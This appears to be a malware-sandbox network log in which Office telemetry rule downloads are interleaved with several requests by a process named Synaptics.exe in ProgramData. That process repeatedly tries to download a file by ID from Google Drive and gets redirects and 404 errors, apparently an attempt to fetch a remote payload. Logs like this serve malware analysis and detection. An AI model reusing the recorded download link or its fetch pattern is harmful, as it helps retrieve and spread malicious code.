2024-11-05 21:44:22 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:22 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 2ad66808-401e-0029-0155-2e9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214422Z-17df447cdb5t94hvhC1DFWw978000000022g0000000047pm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:22 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.5	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:22 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:22 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 8e718dad-301e-0051-6df1-2c38bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214422Z-16547b76f7f4k79zhC1DFWu9y000000005rg00000000k6m1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:22 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.5	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:22 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:22 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: d92822fd-901e-0048-0b55-2eb800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214422Z-17df447cdb57g7m7hC1DFW791s00000001y0000000003zt6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:22 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.5	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:22 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:22 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:22 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 47d81796-701e-0021-2403-2d3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214422Z-16547b76f7fxsvjdhC1DFWprrs00000005ng00000000ckex x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:22 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.5	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:22 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:22 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:22 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 4785079e-601e-0070-2a8e-2da0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214422Z-15869dbbcc662ldwhC1DFW3ytc00000000pg00000000p49d x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:22 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	49843	172.217.23.110	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:22 UTC	340	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=518=K3YA05x7a7wPcF88R7Dw84WMKjQ6873DnHLR0LDQGgc1MteC2G4ONn395vfZJqjk156Vzxx1_lIu06nshB5Ed1NY55eq3dN6KRQvGYzWjVowpXj9p2zZi3HhDXnkEl-_s9rmiEicjyouHMKJ58sqyP_d0c1v3p5pEUooYDO1QtMNLVq6H1Y
2024-11-05 21:44:23 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:23 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-_h7cdvY_zRsQzWprEEysdg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	49842	142.250.186.65	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:22 UTC	383	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
2024-11-05 21:44:23 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:23 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-OgGW6IynChwhzYEEGv9T5A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1652 X-GUploader-UploadID: AHmUCY1jwU-9MdqBpEctB3BJxYnJVqSAPydLPh4zXM-jYkgD6ZfMNJCzvqmeT5sRFxvpRs9UxrPlnRwvEg Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-05 21:44:23 UTC	125	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width
2024-11-05 21:44:23 UTC	1378	IN	Data Raw: 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 34 49 54 38 76 51 52 66 63 76 4c 7a 69 7a 30 7a 56 59 6c 56 43 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 Data Ascii: "><title>Error 404 (Not Found)!!1</title><style nonce="4IT8vQRfcvLziz0zVYlVCw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;mi
2024-11-05 21:44:23 UTC	149	IN	Data Raw: 69 6d 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: img></span></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:22 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:23 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:22 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 0a8e697d-a01e-0002-295f-2e5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214422Z-15869dbbcc6lq2lzhC1DFWym6c00000000s000000000ng7a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-05 21:44:23 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.5	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:22 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:23 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:22 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65394723-101e-00a2-80f1-2c9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214422Z-16547b76f7fnm7lfhC1DFWkxt400000005h000000000wgza x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:23 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	49844	172.217.23.110	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:22 UTC	340	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
2024-11-05 21:44:23 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:23 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-HuYoZMFFpOPAXZSpbhavIw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	49848	142.250.186.65	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:23 UTC	383	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
2024-11-05 21:44:23 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:23 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-_sBltHIlSswv-h5xvo1IIg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 X-GUploader-UploadID: AHmUCY341-beqlPDH7i7SO1JDji0rNVTXmUw89YLKJHOY-6U-W1kwHwPoYGK0gzUvNO7eLvlGN6AUskWrw Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
